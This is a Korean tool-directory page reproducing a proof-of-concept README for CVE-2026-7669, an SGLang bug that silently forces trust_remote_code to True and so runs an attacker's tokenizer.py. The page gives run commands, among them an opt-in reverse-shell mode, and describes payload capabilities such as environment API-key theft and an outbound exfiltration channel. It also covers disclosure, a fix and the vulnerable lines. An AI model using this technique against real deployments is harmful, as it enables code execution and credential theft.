Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-7669-PoC — PoC for CVE-2026-7669: SGLang의 자동 trust_remote_code 무시로 인한 RCE | Kitploit
도구/GitHubGitHub/gouldnicholas/cve-2026-7669-poc
Vulnerability AnalysisExploitationWeb Application ExploitationSupply Chain SecurityRemote Access ToolPayload Development
GitHubgouldnicholas/cve-2026-7669-poc

CVE-2026-7669-PoC

PoC for CVE-2026-7669: SGLang의 자동 trust_remote_code 무시로 인한 RCE

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-7669

SGLang은 trust_remote_code=False를 조용히 True로 덮어쓰고, transformers v5가 TokenizersBackend 객체를 반환할 때마다 AutoTokenizer.from_pretrained를 다시 호출합니다. 사용자 정의 tokenizer_class와 tokenizer.py를 가리키는 auto_map을 가진 모델은 운영자가 False를 전달했더라도 SGLang 프로세스 내부에서 임의 코드 실행에 도달합니다. 어떤 로그 레벨에서도 로그 줄이 출력되지 않습니다.

  • 프로젝트: https://github.com/sgl-project/sglang
  • 영향 범위: 0.5.10부터 현재 main(커밋 fae90abf6)까지
  • 영향 없음: 0.5.9 및 이전 버전
  • 취약 코드: python/sglang/srt/utils/hf_transformers_utils.py:898-909
  • CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
  • CWE: 693, 94, 829
  • 취약 코드

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        tokenizer = AutoTokenizer.from_pretrained(
            tokenizer_name,
            *args,
            trust_remote_code=True,
            tokenizer_revision=tokenizer_revision,
            clean_up_tokenization_spaces=False,
            **kwargs,
        )
    

    PR #17784(커밋 d1e95af28, 2026-03-18)에서 도입되었습니다. 원래의 logger.info(...) 알림은 커밋 27ac831a8(2026-03-23)에서 "docs: improve CI and testing documentation" 제목으로 제거되어, 모든 출시된 취약 버전에서 덮어쓰기가 완전히 조용히 이루어집니다.

    재현

    root@kitploit:~
    git clone https://github.com/<your-org>/CVE-2026-7669.git
    cd CVE-2026-7669
    ./run.sh
    

    Docker 이미지(python:3.12.7-slim-bookworm + transformers==5.3.0 + 고정된 SGLang 소스)를 빌드하고 PoC를 실행합니다. 첫 실행은 약 30-60초가 소요됩니다. GPU는 필요하지 않습니다.

    기타 모드:

    root@kitploit:~
    ./run.sh --server         TokenizerManager.__init__를 통해 재현
    ./run.sh --versions       transformers 5.0..5.5 매트릭스
    ./run.sh --revshell IP    IP:4444로 옵트인 리버스 셸
    ./run.sh --rebuild        --no-cache 강제 재빌드
    ./run.sh --copy-ledger ./ledger.json
    

    판정

    종료 코드 0은 확인됨을 의미합니다. 최종 요약:

    root@kitploit:~
    Phase 1   transformers + False             return=TokenizersBackend     exec=False
    Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
    Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
    Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
    Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True
    
    Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
    
    *** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
    

    종료 코드:

    코드의미
    0확인됨
    1트리거되지 않음
    2오탐(transformers 자체가 tokenizer.py를 실행, 버그는 업스트림에 있음)
    3고정 버전 사전 점검 실패

    고정 환경

    사전 점검 단계는 pinned_versions.json을 읽고 모든 값을 런타임 환경과 대조합니다. 드리프트가 발생하면 테스트 실행 전에 종료 코드 3으로 종료됩니다.

    구성 요소고정 값
    Python3.12.7-slim-bookworm
    transformers5.3.0
    SGLang 커밋fae90abf6e15aaffb6fd924a439253674771487d
    hf_transformers_utils.py SHA2569e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e
    취약 블록(898-909행) SHA256109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece

    CVSS 근거

    지표값근거
    AVN트리거 파일(config.json, tokenizer_config.json, tokenizer.json, tokenizer.py)은 표준 HF Hub auto_map 레이아웃입니다. 이를 제공하는 모든 레지스트리가 버그에 도달합니다.
    ACLPHASE-2는 단일 실행에서 결정적으로 발생합니다. 모든 트리거 조건은 공격자가 작성한 콘텐츠입니다. PRE-1..7은 환경 핑거프린팅이 없음을 확인합니다.
    PRN무료 HF Hub 업로드로 충분합니다. 트리거 체인에서 피해자의 기존 권한이 필요한 것은 없습니다.
    UIR트리거는 운영자(또는 운영자가 구성한 파이프라인)가 launch_server --model-path attacker/model을 호출할 때만 발생합니다.
    SU모든 SEV-* 주장은 SGLang 프로세스 권한 내에서 실행됩니다. 샌드박스 또는 컨테이너 탈출이 없습니다.
    CHSEV-secrets는 프로세스 환경에서 HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY를 캡처합니다. SEV-network는 아웃바운드 TCP 유출 채널을 엽니다.
    IHSEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip는 서로 다른 민감한 위치에 있는 4개의 독립적인 무결성 프리미티브입니다.
    AHRCE에서 추론됩니다. SEV-pip는 임의 하위 프로세스 실행을 증명하며, 이는 자체 DoS에 필요한 것과 동일한 프리미티브입니다. PoC는 자체 종료를 직접 시연하지 않습니다.

    8.8은 보수적인 하한입니다. 9.6(S:C 포함)과 10.0(S:C 및 UI:N 모두 포함)은 방어 가능하지만 검토자에 따라 다릅니다.

    UI:N은 이 CVE에 대해 정당화되지 않습니다. SGLang의 HTTP 서버는 api_key=None 및 admin_api_key=None일 때 진정한 기본 무인증 우회가 있지만(런타임에서 decide_request_auth 프리미티브에 대한 AUTH-1로 검증됨), 시작 후 get_tokenizer에 도달하는 HTTP 엔드포인트는 없습니다(CHAIN-1로 검증됨). 4개의 get_tokenizer 호출 지점(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__, DetokenizerManager.__init__)은 모두 운영자가 제공한 --model-path에서 서버 시작 시 한 번만 실행됩니다. 따라서 인증 우회는 별도의 문제이며 CVE-2026-7669의 체인 파트너가 아닙니다.

    주장

    PoC는 29개의 개별적으로 테스트 가능한 주장이 포함된 JSON 원장을 /tmp/poc_claim_ledger.json에 작성합니다. 추출하려면 ./run.sh --copy-ledger ./ledger.json을 사용하세요.

    그룹주장
    PRE-1..7고정 버전(Python, transformers, 파일 SHA256, 줄 수, 덮어쓰기 블록 SHA256, 기본 trust_remote_code, 소스 경로)
    SRC-1가져온 get_tokenizer 소스에 덮어쓰기가 포함됨
    PHASE-1transformers가 trust_remote_code=False를 직접 존중함
    PHASE-1b, PHASE-1b-mech898-909행이 제거된 SGLang이 False를 존중하고 정확히 한 번의 from_pretrained 호출을 수행함
    PHASE-2, PHASE-2-mech, PHASE-2-silent실제 SGLang이 tokenizer.py를 실행함. 추적은 호출 0(False)->TokenizersBackend, 호출 1(True)->MaliciousTokenizer를 보여줍니다. trust_remote_code를 언급하는 로그 줄이 없음(루트 및 sglang 로거의 DEBUG 캡처).
    PHASE-2b패치 + 명시적 True가 여전히 로드됨(패치는 외과적임)
    PHASE-3-rce, PHASE-3-via-override느린 토크나이저 모드도 동일한 898-909 경로를 통해 RCE에 도달함
    SEV-write-sglang, SEV-write-launchsrv, SEV-write-model지속성 및 측면 확산 프리미티브
    SEV-network아웃바운드 TCP 유출 채널
    SEV-secrets환경 변수 비밀 캡처
    SEV-pip임의 pip 설치(공급망)
    SEV-rootlmsysorg 이미지에서 루트로 실행되는 프로세스
    AUTH-1기본 ServerArgs(api_key=None, admin_api_key=None)는 모든 ADMIN_OPTIONAL 엔드포인트를 무인증으로 접근 가능하게 함
    AUTH-2, AUTH-3구성 시 미들웨어가 무인증을 차단하고 유효한 bearer를 수락함을 확인하는 양성 대조군
    CHAIN-1시작 후 를 호출하는 HTTP 엔드포인트 핸들러가 없음(에 호출 지점 0개)

    메커니즘

    트리거 모델 파일(모두 공격자 제어, 모두 HF Hub에서 허용):

    root@kitploit:~
    attacker/model/
      config.json             model_type "gpt2" (transformers의 TOKENIZER_MAPPING_NAMES에 있음)
      tokenizer_config.json   사용자 정의 tokenizer_class + auto_map -> tokenizer.py
      tokenizer.json          유효한 BPE 토크나이저(첫 로드가 성공하도록)
      tokenizer.py            페이로드
      model.safetensors       더미 가중치
    

    get_tokenizer(MODEL_DIR, trust_remote_code=False) 내부의 실행 흐름:

    1. SGLang이 AutoTokenizer.from_pretrained(..., trust_remote_code=False)를 호출합니다.
    2. Transformers v5는 레지스트리에 없는 사용자 정의 tokenizer_class를 발견하면 tokenizer.json에서 빌드된 일반 TokenizersBackend로 폴백합니다. 이 시점에서 tokenizer.py는 실행되지 않습니다.
    3. SGLang의 898-909행은 type(tokenizer).__name__ == "TokenizersBackend"를 확인하고 trust_remote_code=True로 조용히 재시도합니다.
    4. 이제 원격 코드를 신뢰하도록 지시받은 Transformers가 tokenizer.py를 가져옵니다. 최상위 문이 SGLang 프로세스 내부에서 실행됩니다.

    PoC의 PHASE-2-mech는 추적을 문자 그대로 캡처합니다:

    root@kitploit:~
    [{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
     {idx: 1, trust_remote_code: True,  returned_type: "MaliciousTokenizer"}]
    

    수정

    898-909행을 삭제하세요. TokenizersBackend는 많은 워크로드에서 사용 가능한 토크나이저이며, 그대로 반환하는 것이 안전한 기본값입니다. 모델이 실제로 사용자 정의 토크나이저 코드를 필요로 하는 경우 운영자는 --trust-remote-code를 명시적으로 전달해야 합니다.

    또는 from_pretrained를 다시 호출하지 않고 큰 경고를 기록하고 TokenizersBackend를 반환합니다:

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        logger.warning(
            "Model %s requires a custom tokenizer but trust_remote_code=False. "
            "Returning generic TokenizersBackend without executing tokenizer.py. "
            "Restart with --trust-remote-code if the custom code is required.",
            tokenizer_name,
        )
    

    PHASE-2b는 최소 패치가 외과적임을 검증합니다: 명시적 trust_remote_code=True는 여전히 모델을 로드합니다.

    공개

    • 2026-04-07: 발견, 작동하는 PoC
    • 2026-04-07: SGLang Private Vulnerability Reporting 및 VulDB를 통해 보고
    • 2026-05-03: CVE-2026-7669 지정
    • 2026-05-04: 이 PoC 게시

    크레딧

    • Nick Gould (@gouldnicholas, nick.gould777343 @ gmail.com)
    • David Rochester (@davidrxchester, rochesterdcj @ gmail.com)

    참고 자료

    • 취약 코드: https://github.com/sgl-project/sglang/blob/fae90abf6e15aaffb6fd924a439253674771487d/python/sglang/srt/utils/hf_transformers_utils.py#L898-L909
    • 도입 PR: https://github.com/sgl-project/sglang/pull/17784
    • 로그 제거 커밋: https://github.com/sgl-project/sglang/commit/27ac831a8
    • HuggingFace trust_remote_code: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained
    • 이전 SGLang CVE: CVE-2025-10164, CVE-2026-3059, CVE-2026-3060

    이 PoC는 방어적 보안 연구 및 수정을 위한 것입니다. 악성 tokenizer.py는 기본적으로 컨테이너 내부의 /tmp/sglang_poc_proof.txt에만 씁니다. 소유하지 않거나 테스트 권한이 없는 시스템에서 실행하지 마세요.

    도구 다운로드
    get_tokenizer()
    http_server.py
    CHAIN-2명시적 판정: UI:N은 이 CVE에 대해 정당화되지 않음. 기본 무인증 우회는 실제이지만 trust_remote_code 덮어쓰기에 도달할 수 없음. 4개의 get_tokenizer 호출자(TokenizerManager / Scheduler / TPWorker / DetokenizerManager)는 모두 서버 시작 시 한 번 실행되는 __init__ 경로이기 때문. 운영자는 여전히 launch_server 시점에 모델 경로를 선택하므로 UI:R이 유지됨.